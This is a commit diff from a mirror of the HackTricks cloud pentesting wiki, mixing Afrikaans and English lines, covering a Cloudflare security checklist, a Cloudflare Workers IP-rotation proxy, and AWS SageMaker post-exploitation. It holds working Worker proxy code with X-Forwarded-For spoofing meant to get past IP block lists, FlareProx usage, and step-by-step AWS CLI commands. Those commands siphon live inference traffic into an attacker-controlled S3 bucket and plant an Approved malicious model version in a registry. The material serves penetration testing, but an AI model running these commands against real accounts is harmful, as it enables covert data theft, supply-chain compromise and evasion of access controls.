gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-07 10:50:33 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/cloudflare-security/README.md', 'src/p

Browse Source
This commit is contained in:
Translator
2025-10-23 13:46:40 +00:00
parent c3894c0c43
commit 733b11b27e
5 changed files with 434 additions and 147 deletions
Download Patch File Download Diff File Expand all files Collapse all files

108
src/pentesting-ci-cd/cloudflare-security/README.md
View File

@@ -1,77 +1,83 @@
# Cloudflare Sekuriteit
# Cloudflare Security
{{#include ../../banners/hacktricks-training.md}}
In 'n Cloudflare-rekening is daar 'n paar **generiese instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheid-verwante instellings van elke afdeling analiseer:**
In a Cloudflare account there are some **algemene instellings en dienste** that can be configured. In this page we are going to **analiseer die sekuriteitsverwante instellings van elke afdeling:**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Webwerwe
## Websites
Herbekyk elkeen met:
Review each with:
{{#ref}}
cloudflare-domains.md
{{#endref}}
### Domeinregistrasie
### Domain Registration
- [ ] In **`Transfer Domains`** kyk dat dit nie moontlik is om enige domein oor te dra nie.
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
Herbekyk elkeen met:
Review each with:
{{#ref}}
cloudflare-domains.md
{{#endref}}
## Analise
## Analytics
_Ek kon niks vind om 'n konfigurasie-sekuriteitsherziening te doen nie._
_I couldn't find anything to check for a config security review._
## Bladsye
## Pages
Op elke Cloudflare-bladsy:
On each Cloudflare's page:
- [ ] Kyk vir **sensitiewe inligting** in die **`Build log`**.
- [ ] Kyk vir **sensitiewe inligting** in die **Github-repo** wat aan die bladsye toegeken is.
- [ ] Kyk vir potensiële github repo kompromie via **workflow command injection** of `pull_request_target` kompromie. Meer inligting in die [**Github Sekuriteitsblad**](../github-security/).
- [ ] Kyk vir **kwesbare funksies** in die `/fuctions` gids (indien enige), kyk die **omleidings** in die `_redirects` lêer (indien enige) en **misgeconfigureerde koptekste** in die `_headers` lêer (indien enige).
- [ ] Kyk vir **kwesbaarhede** in die **webblad** via **blackbox** of **whitebox** as jy die **kode** kan **toegang**.
- [ ] In die besonderhede van elke bladsy `/<page_id>/pages/view/blocklist/settings/functions`. Kyk vir **sensitiewe inligting** in die **`Environment variables`**.
- [ ] In die besonderhede bladsy kyk ook die **bouopdrag** en **wortelgids** vir **potensiële inspuitings** om die bladsy te kompromitteer.
- [ ] Check for **sensitive information** in the **`Build log`**.
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
## **Werkers**
## **Workers**
Op elke Cloudflare-werker kyk:
On each Cloudflare's worker check:
- [ ] Die triggers: Wat maak die werker aktiveer? Kan 'n **gebruiker data stuur** wat deur die werker **gebruik** sal word?
- [ ] In die **`Settings`**, kyk vir **`Variables`** wat **sensitiewe inligting** bevat.
- [ ] Kyk die **kode van die werker** en soek vir **kwesbaarhede** (veral in plekke waar die gebruiker die invoer kan bestuur).
- Kyk vir SSRFs wat die aangeduide bladsy teruggee wat jy kan beheer.
- Kyk XSSs wat JS binne 'n svg beeld uitvoer.
- Dit is moontlik dat die werker met ander interne dienste interaksie het. Byvoorbeeld, 'n werker kan met 'n R2-bucket interaksie hê wat inligting daarin stoor wat van die invoer verkry is. In daardie geval sal dit nodig wees om te kyk watter vermoëns die werker oor die R2-bucket het en hoe dit misbruik kan word vanaf die gebruikersinvoer.
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
> [!WARNING]
> Let daarop dat 'n **Werker standaard 'n URL** gegee word soos `<worker-name>.<account>.workers.dev`. Die gebruiker kan dit op 'n **subdomein** stel, maar jy kan dit altyd met daardie **oorspronklike URL** toegang as jy dit weet.
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
{{#endref}}
## R2
Op elke R2-bucket kyk:
On each R2 bucket check:
- [ ] Konfigureer **CORS-beleid**.
- [ ] Configure **CORS Policy**.
## Stroom
## Stream
TODO
## Beelde
## Images
TODO
## Sekuriteitsentrum
## Security Center
- [ ] As moontlik, voer 'n **`Security Insights`** **skandering** en 'n **`Infrastructure`** **skandering** uit, aangesien dit **interessante inligting** **veiligheid** wys.
- [ ] Kyk net **hierdie inligting** vir sekuriteitsmisconfigurasies en interessante inligting.
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
- [ ] Just **check this information** for security misconfigurations and interesting info
## Turnstile
@@ -83,17 +89,17 @@ TODO
cloudflare-zero-trust-network.md
{{#endref}}
## Groot Omleidings
## Bulk Redirects
> [!NOTE]
> Anders as [Dinamiese Omleidings](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Groot Omleidings**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) is essensieel staties — hulle ondersteun **nie enige stringvervangings** operasies of gereelde uitdrukkings nie. Jy kan egter URL-omleidingsparameters konfigureer wat hul URL-ooreenkoms gedrag en hul runtime gedrag beïnvloed.
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] Kyk dat die **uitdrukkings** en **vereistes** vir omleidings **sinvol** is.
- [ ] Kyk ook vir **sensitiewe verborge eindpunte** wat interessante inligting bevat.
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
## Kennisgewings
## Notifications
- [ ] Kyk die **kennisgewings.** Hierdie kennisgewings word aanbeveel vir sekuriteit:
- [ ] Check the **notifications.** These notifications are recommended for security:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -113,22 +119,22 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Kyk al die **bestemmings**, aangesien daar **sensitiewe inligting** (basiese http auth) in webhook urls kan wees. Maak ook seker dat webhook urls **HTTPS** gebruik.
- [ ] As ekstra kontrole, kan jy probeer om 'n **cloudflare kennisgewing** na 'n derde party te **verpersoonlik**, miskien kan jy op een of ander manier **iets gevaarliks inspuit**.
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
## Bestuur Rekening
## Manage Account
- [ ] Dit is moontlik om die **laaste 4 syfers van die kredietkaart**, **verval** tyd en **faktuuradres** in **`Billing` -> `Payment info`** te sien.
- [ ] Dit is moontlik om die **plan tipe** wat in die rekening gebruik word in **`Billing` -> `Subscriptions`** te sien.
- [ ] In **`Members`** is dit moontlik om al die lede van die rekening en hul **rol** te sien. Let daarop dat as die plan tipe nie Enterprise is nie, slegs 2 rolle bestaan: Administrateur en Super Administrateur. Maar as die gebruikte **plan Enterprise** is, kan [**meer rolle**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) gebruik word om die minste voorregte beginsel te volg.
- Daarom, wanneer moontlik, word dit **aanbeveel** om die **Enterprise plan** te gebruik.
- [ ] In Lede is dit moontlik om te kyk watter **lede** **2FA geaktiveer** het. **Elke** gebruiker moet dit geaktiveer hê.
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
> [!NOTE]
> Let daarop dat gelukkig die rol **`Administrator`** nie toestemming gee om lidmaatskappe te bestuur nie (**kan nie voorregte verhoog of** nuwe lede nooi nie).
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
## DDoS Ondersoek
## DDoS Investigation
[Kyk hierdie deel](cloudflare-domains.md#cloudflare-ddos-protection).
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}

286
src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md Normal file
View File

@@ -0,0 +1,286 @@
# Misbruik van Cloudflare Workers as pass-through proxies (IP-rotasie, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers kan as deursigtige HTTP pass-through proxies ontplooi word waar die upstream teiken-URL deur die kliënt verskaf word. Versoeke verlaat Cloudflare se netwerk, sodat die teiken Cloudflare IPs sien in plaas van die kliënt se. Dit weerspieël die bekende FireProx-tegniek op AWS API Gateway, maar gebruik Cloudflare Workers.
### Belangrike vermoëns
- Ondersteuning vir alle HTTP-metodes (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Teiken kan verskaf word via 'n query-parameter (?url=...), 'n header (X-Target-URL), of selfs gekodeer in die pad (bv. /https://target)
- Headers en body word deurgeproxeer met hop-by-hop/header-filtrering soos nodig
- Response word teruggestuur, statuskode en meeste headers word behou
- Opsionele spoofing van X-Forwarded-For (indien die Worker dit stel vanaf 'n gebruikersbeheerde header)
- Uiterst vinnige/gemaklike rotasie deur verskeie Worker endpoints te ontplooi en versoeke uit te waaier
### Hoe dit werk (vloei)
1) Die kliënt stuur 'n HTTP-versoek na 'n Worker-URL (`<name>.<account>.workers.dev` of 'n pasgemaakte domeinroute).
2) Die Worker onttrek die teiken vanaf 'n query-parameter (?url=...), die X-Target-URL-header, of 'n padsegment indien geïmplementeer.
3) Die Worker stuur die inkomende metode, headers en body na die gespesifiseerde upstream-URL (met filtrering van problematiese headers).
4) Die upstream-antwoord word deur Cloudflare na die kliënt gestroom; die oorsprong sien Cloudflare se uitgaande IPs.
### Worker implementasie voorbeeld
- Lees die teiken-URL vanaf 'n query-param, header of pad
- Kopieer 'n veilige substel van headers en stuur die oorspronklike metode/body deur
- Stel opsioneel X-Forwarded-For in deur 'n gebruikersbeheerde header (X-My-X-Forwarded-For) te gebruik of 'n ewekansige IP
- Voeg permissiewe CORS by en hanteer preflight
<details>
<summary>Voorbeeld Worker (JavaScript) vir pass-through proxying</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### Outomatiseer ontplooiing en rotasie met FlareProx
FlareProx is 'n Python-instrument wat die Cloudflare API gebruik om baie Worker-endpunte te ontplooi en oor hulle te roteer. Dit verskaf FireProx-agtige IP-rotasie vanaf Cloudflare se netwerk.
Opstelling
1) Skep 'n Cloudflare API Token met die “Edit Cloudflare Workers” sjabloon en kry jou Account ID vanaf die dashboard.
2) Konfigureer FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**Skep die konfigurasielêer flareprox.json:**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**CLI gebruik**
- Skep N Worker proxies:
```bash
python3 flareprox.py create --count 2
```
- Lys endpoints:
```bash
python3 flareprox.py list
```
- Gesondheidstoets-eindpunte:
```bash
python3 flareprox.py test
```
- Verwyder alle endpoints:
```bash
python3 flareprox.py cleanup
```
**Routering van verkeer deur 'n Worker'**
- Navraag-parametervorm:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- Kopvorm:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- Padvorm (indien geïmplementeer):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- Metode-voorbeelde:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` beheer**
As die Worker `X-My-X-Forwarded-For` respekteer, kan jy die upstream `X-Forwarded-For`-waarde beïnvloed:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**Programmatiese gebruik**
Gebruik die FlareProx library om endpoints te skep/lys/toets en versoeke vanaf Python te roete.
<details>
<summary>Python voorbeeld: Stuur 'n POST via 'n ewekansige Worker endpoint</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
```
</details>
**Burp/Scanner integration**
- Wys jou gereedskap (byvoorbeeld Burp Suite) na die Worker URL.
- Verskaf die werklike upstream met ?url= of X-Target-URL.
- HTTP-semantiek (methods/headers/body) word behou terwyl jou bron-IP agter Cloudflare weggesteek word.
**Operasionele notas en perke**
- Cloudflare Workers Free plan laat ongeveer 100,000 versoeke/dag per rekening toe; gebruik meerdere endpoints om verkeer te versprei indien nodig.
- Workers word op Cloudflare se netwerk uitgevoer; baie teikens sal slegs Cloudflare IPs/ASN sien, wat eenvoudige IP allow/deny-lyste of geo-heuristieke kan omseil.
- Gebruik dit verantwoordelik en slegs met magtiging. Respekteer ToS en robots.txt.
## References
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
{{#include ../../banners/hacktricks-training.md}}

63
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
View File

@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker-eindpunt data‑aftap via UpdateEndpoint DataCaptureConfig
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Misbruik SageMaker endpoint‑bestuur om volledige request/response capture na 'n attacker‑controlled S3 bucket moontlik te maak sonder om die model of container aan te raak. Gebruik 'n zero/low‑downtime rolling update en vereis slegs endpoint‑management permissions.
Misbruik SageMaker endpoint-bestuur om volle request/response-opname na 'n deur die aanvaller beheerde S3 bucket te aktiveer sonder om die model of container aan te raak. Gebruik 'n zero/low‑downtime rolling update en vereis slegs endpoint-bestuurspermisse.
### Vereistes
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (of gebruik 'n bestaande bucket in dieselfde account)
- Opsioneel (as SSE‑KMS gebruik): `kms:Encrypt` op die gekose CMK
- S3: `s3:CreateBucket` (of gebruik 'n bestaande bucket in dieselfde rekening)
- Opsioneel (as SSE‑KMS gebruik word): `kms:Encrypt` op die gekose CMK
- Teiken: 'n bestaande InService real‑time endpoint in dieselfde account/region
### Stappe
1) Identifiseer 'n InService endpoint en versamel huidige produksie-variantes
1) Identifiseer 'n InService endpoint en versamel die huidige produksie-variantes
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,7 +22,7 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) Berei die aanvaller se S3-bestemming voor vir opnames
2) Berei attacker se S3-bestemming voor vir captures
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
@@ -30,7 +30,7 @@ aws s3 mb s3://$BUCKET --region $REGION
```
3) Skep 'n nuwe EndpointConfig wat dieselfde variante behou maar DataCapture na die attacker bucket inskakel
Let wel: Gebruik eksplisiete inhoudstipes wat aan die CLI-validering voldoen.
Let wel: Gebruik eksplisiete inhoudstipes wat aan CLI-validering voldoen.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,50 +54,51 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Pas die nuwe config toe met 'n rolling update (minimale/geen downtime)
4) Pas die nuwe konfigurasie toe met 'n rolling update (minimale/geen stilstand)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) Genereer ten minste een inferensie-aanroep (opsioneel as daar lewende verkeer is)
5) Genereer ten minste een inferensie-aanroep (opsioneel as daar regstreekse verkeer is)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) Valideer captures in attacker S3
6) Valideer captures in die S3 van die aanvaller
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Impak
- Volledige eksfiltrasie van real‑time inference request- en response‑payloads (en metadata) vanaf die geteikende endpoint na 'n deur die aanvaller beheerde S3 bucket.
- Geen veranderinge aan die model/container image nie en slegs endpoint‑vlak veranderinge, wat 'n stealthy data theft path moontlik maak met minimale operasionele ontwrigting.
- Volledige eksfiltrasie van real‑time inference versoek- en respons payloads (en metadata) vanaf die geteikende endpoint na 'n deur die aanvaller beheerde S3 bucket.
- Geen veranderinge aan die model/container image en slegs endpoint‑vlak veranderinge nie, wat 'n stil en verborge pad vir data‑diefstal moontlik maak met minimale operasionele ontwrigting.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Misbruik endpoint management om asynchronous inference outputs na 'n deur die aanvaller beheerde S3 bucket te herlei deur die huidige EndpointConfig te kloon en AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath te stel. Dit eksfiltreer model predictions (en enige transformed inputs ingesluit deur die container) sonder om die model/container te wysig.
Misbruik endpoint-bestuur om asynchronous inference outputs na 'n deur die aanvaller beheerde S3 bucket om te lei deur die huidige EndpointConfig te kloon en AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath in te stel. Dit eksfiltreer modelvoorspellings (en enige getransformeerde insette wat deur die container ingesluit is) sonder om die model/container te wysig.
### Vereistes
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Vermoë om te skryf na die deur die aanvaller beheerde S3 bucket (via die model execution role of 'n permissive bucket policy)
- Teiken: 'n InService endpoint waar asynchronous invocations gebruik word (of gebruik sal word)
- S3: Vermoë om te skryf na die deur die aanvaller beheerde S3 bucket (via die model execution role of 'n permissiewe bucket policy)
- Teiken: 'n InService endpoint waar asynchronous invocations gebruik word (of sal gebruik word)
### Stappe
1) Versamel huidige ProductionVariants van die teiken endpoint
1) Versamel die huidige ProductionVariants vanaf die teiken-endpoint
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Skep 'n attacker bucket (verseker dat die model execution role PutObject daarna kan doen)
2) Skep 'n attacker bucket (verseker dat die model execution role PutObject daarna kan uitvoer)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) Kloon EndpointConfig en hijack AsyncInference uitsette na die attacker bucket
3) Kloon EndpointConfig en kaap AsyncInference-uitsette na die attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -107,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Ontlok 'n async invocation en verifieer dat objekte in attacker S3 beland
4) Trigger 'n async invocation en verifieer dat objekte in attacker S3 beland
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -116,26 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Impak
- Leid asinchrone inference-resultate (en foutliggame) na S3 wat deur die aanvaller beheer word, wat geheime eksfiltrasie van voorspellingen en potensieel sensitiewe pre-/post-verwerkte insette wat deur die container geproduseer is, moontlik maak, sonder om modelkode of image te verander en met minimale of geen stilstand nie.
- Herlei asinchrone inferensie-resultate (en foutliggame) na 'n deur die aanvaller beheerde S3, wat heimlike eksfiltrasie van voorspellinge en moontlik sensitiewe pre-/post-verwerkte insette wat deur die container geproduseer word, moontlik maak, sonder om modelkode of image te verander en met minimale/geen stilstand nie.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
As 'n aanvaller CreateModelPackage op 'n teiken SageMaker Model Package Group kan uitvoer, kan hulle 'n nuwe modelweergawe registreer wat na 'n deur die aanvaller beheerde container image wys en dit onmiddellik as Approved merk. Baie CI/CD-pipelines ontplooi Approved modelweergawes outomaties na endpoints of training jobs, wat lei tot uitvoering van aanvallerskode onder die diens se uitvoeringrolle. Kruis-rekeningblootstelling kan vererger word deur 'n permissiewe ModelPackageGroup resource policy.
### Vereistes
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- IAM (minimum wat nodig is om 'n bestaande groep te kompromitteer): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- Opsioneel (om 'n groep te skep indien een nie bestaan nie): `sagemaker:CreateModelPackageGroup`
- S3: Lees toegang tot die verwysde ModelDataUrl (of huisves aanvaller-beheerde artefakte)
- S3: Lees toegang tot die verwysde ModelDataUrl (of gasheer van deur die aanvaller beheerde artefakte)
- Teiken: 'n Model Package Group wat downstream-automatisering dophou vir Approved weergawes
### Stappe
1) Stel region en skep/vind 'n teiken Model Package Group
1) Stel region in en skep/vind 'n teiken Model Package Group
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) Berei proefmodeldata in S3 voor
2) Berei voorbeeldmodeldata in S3 voor
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
@@ -143,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Registreer 'n kwaadwillige (hier onskadelike) Approved model package version wat verwys na 'n publieke AWS DLC image
3) Registreer 'n kwaadwillige (hier onskadelike) Goedgekeurde modelpakketweergawe wat verwys na 'n openbare AWS DLC image
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -160,18 +162,19 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) Bevestig dat die nuwe 'Approved' weergawe bestaan
4) Verifieer dat die nuwe goedgekeurde weergawe bestaan
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Impak
- Poison die Model Registry met 'n Approved-weergawe wat verwys na attacker-controlled code. Pipelines wat Approved models outo-deploy mag die attacker image aflaai en uitvoer, wat code execution onder endpoint/training roles tot gevolg kan hê.
- Met 'n permissiewe ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kan hierdie misbruik cross-account getrigger word.
